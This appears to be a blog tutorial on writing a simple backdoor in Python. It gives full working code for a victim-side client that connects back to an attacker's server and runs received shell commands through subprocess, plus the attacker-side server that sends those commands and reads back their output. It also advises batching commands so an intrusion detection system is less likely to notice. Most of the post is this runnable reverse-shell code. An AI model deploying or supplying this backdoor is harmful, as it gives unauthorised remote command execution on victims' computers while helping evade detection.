Write a Simple Backdoor in Python
Backdoors are a typical way of accessing a computers resources through command line without any sort of authentication. This type of remote access is difficult to identify as these programs act as the a program or other applications.
While going through the details of a backdoor, in this post, we will have a basic idea on server-client architecture alongside how a backdoor works. A basic one is nothing but a typical server-client communication except here, we want our commands to be executed on the victim machines.
In this post, we will learn what are the characteristics of a backdoor by writing a basic one in python. If you are interested to write other types of malwares, you can go through my previous posts:
Server-Client Architecture
If you do not know socket programming, you might want to Google it as it itself can be a separate post. I am just putting the basic basic description of python sockets in the following.
The following diagram presents the stages of a TCP (connection-oriented) socket.
Server Socket Methods
Method | Description |
---|---|
s.bind() | binds address (hostname, port number pair) to socket |
s.listen() | sets up and start TCP listener |
s.accept() | passively accept TCP client connection, waiting until connection arrives |
Client Socket Methods
Method | Description |
---|---|
s.connect() | initiates TCP server connection |
Common Socket Methods
Method | Description |
---|---|
s.recv() | receives TCP message |
s.send() | transmits TCP message |
s.close() | closes socket |
Client/Victim-side Script
Requirements
We need the following python modules to build our victim-side script. socket
is used to provide the client-side methods we saw earlier. subprocess
will be required to execute a command on the terminal. ast
will only be used to convert a python list-string
into a list
.
import socket
import subprocess
import ast
Now, we will use python class
to define victim-side methods. Point to be noted, you can simply use the socket functions without even creating a class. However, to make everything modular and to add further methods, I chose to design it as a class.
Initializer method
Now, let’s create a class named Victim
and write an initializer method that takes the server IP address
and server port
as arguments.
class Victim:
def __init__(self, server_ip, server_port):
self.server_ip = server_ip
self.server_port = server_port
Connect to server
We need to launch a TCP connection and connect to the server. To do that, we need the following.
def connect_to_server(self):
print("####################################")
print("########## Client Program ##########")
print("####################################")
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Msg: Client Initiated...")
self.client.connect((self.server_ip, self.server_port))
print("Msg: Connection initiated...")
Interactions
There are two more methods:
- Online Interaction: instantly execute any command and returns the standard output
stdout
- Offline Interaction: executes a list of commands and then return all results altogether to the attacker
Whether to use the online/offline command execution, it is totally up to the attacker. Offline is better to avoid number of interactions that increases the chance of getting detected by an Intrusion Detection System (IDS).
Let’s add those methods to our code as well. To be noted, subprocess.Popen()
is the main method we use to run a command.
def online_interaction(self):
while True:
print("[+] Awaiting Shell Commands...")
user_command = self.client.recv(1024).decode()
# print("received command: $ ", user_command)
op = subprocess.Popen(user_command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[+] Sending Command Output...")
if output == b"" and output_error == b"":
self.client.send(b"client_msg: no visible output")
else:
self.client.send(output + output_error)
def offline_interaction(self):
print("[+] Awaiting Shell Command List...")
rec_user_command_list = self.client.recv(1024).decode()
user_command_list = ast.literal_eval(rec_user_command_list)
final_output = ""
for command in user_command_list:
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
final_output += command + "\n" + str(output) + "\n" + str(output_error) + "\n\n"
self.client.send(final_output.encode())
Main Program
Now, let’s create an object of the Victim
class, connect to the server by calling the connect_to_server()
method, and choose whether to use online
or offline
method. Use your local IP address instead of the loopback one if you run the server.py
and client.py
in different machines.
if __name__ == '__main__':
choice = "online" # "offline"
victim = Victim('127.0.0.1', 4000)
victim.connect_to_server()
if choice == "online":
victim.online_interaction()
else:
victim.offline_interaction()
Server/Attacker-side Script
Similarly for the server side, we create a class. and add the following methods.
Initializer method requires ip address
and port
.
class Server:
def __init__(self, host_ip, host_port):
self.host_ip = host_ip
self.host_port = host_port
Start server and listen to the victim to connect with, and then accept the connection.
def start_conn(self):
print("####################################")
print("######### Server Program #########")
print("####################################")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((self.host_ip,self.host_port))
print("Msg: Server Initiated...")
print("Msg: Listening to the Client")
server.listen(1)
self.client, self.client_addr = server.accept()
print("Msg: Received Connection from", self.client_addr)
The online_interaction
takes a command as an input, sends the command to the client, and shows the output result afterwards follwed by taking another command as input again.
def online_interaction(self):
while True:
interface = '[+] '+ str(self.client_addr[0]) + " :sh$ "
command = input(interface)
print(command)
self.client.send(command.encode())
recv_data = self.client.recv(1024).decode()
if recv_data == b"":
continue
print("\n", recv_data, "\n")
To reduce the interaction, the offline_interaction
method takes a list of commands as input, sends to the client, and then shows the received output to the attacker.
def offline_interaction(self,list_of_commands):
self.client.send(str(list_of_commands).encode())
recv_data = self.client.recv(1024).decode()
print("Received output data from Client\n\n")
print(recv_data)
and finally, run the main program by creating an object of the class Server
, start connection by calling the method start_conn()
, and choose to establish online
or offline
interaction with the client.
if __name__ == '__main__':
server = Server('127.0.0.1', 4000)
server.start_conn()
server.online_interaction()
# server.offline_interaction(["ls", "pwd"])
Codes are available in the Github Repository Folder.
You can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.
Intro to Cybersecurity in Python
Also, the associated blog post links are available in the ReadMe
file over there.
Have a good day! Cheers!!!
If you find this post helpful, and want to support this blog, you can or
Leave a comment